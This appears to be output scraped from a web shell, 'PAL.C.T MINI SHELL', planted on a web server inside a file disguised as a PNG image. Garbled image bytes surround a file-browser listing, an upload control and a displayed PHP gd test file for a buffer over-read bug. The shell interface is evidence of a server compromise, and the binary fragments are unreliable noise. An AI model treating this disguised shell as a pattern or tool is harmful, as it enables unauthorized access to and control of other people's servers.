php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/php-7.1.11/ext/gd/tests/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/php-7.1.11/ext/gd/tests/bug74435.phpt

--TEST--
Bug #74435 (Buffer over-read into uninitialized memory)
--SKIPIF--
<?php
if (!extension_loaded('gd')) die('skip gd extension not available');
?>
--FILE--
<?php
$im = imagecreatefromgif(__DIR__ . DIRECTORY_SEPARATOR . 'bug74435.gif');
var_dump($im);
$width = imagesx($im);
$height = imagesy($im);
for ($i = 0; $i < $width; $i += 16) {
    for ($j = 0; $j < $height; $j += 16) {
        if (($index = imagecolorat($im, $i, $j)) >= 2) {
            list($red, $green, $blue, $alpha) = array_values(imagecolorsforindex($im, $index));
            if ($red !== 0 || $green !== 0 || $blue !== 0 || $alpha !== 0) {
                echo "unexpected color at ($i, $j)\n";
            }
        }
    }
}
?>
===DONE===
--EXPECTF--
resource(%d) of type (gd)
===DONE===
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`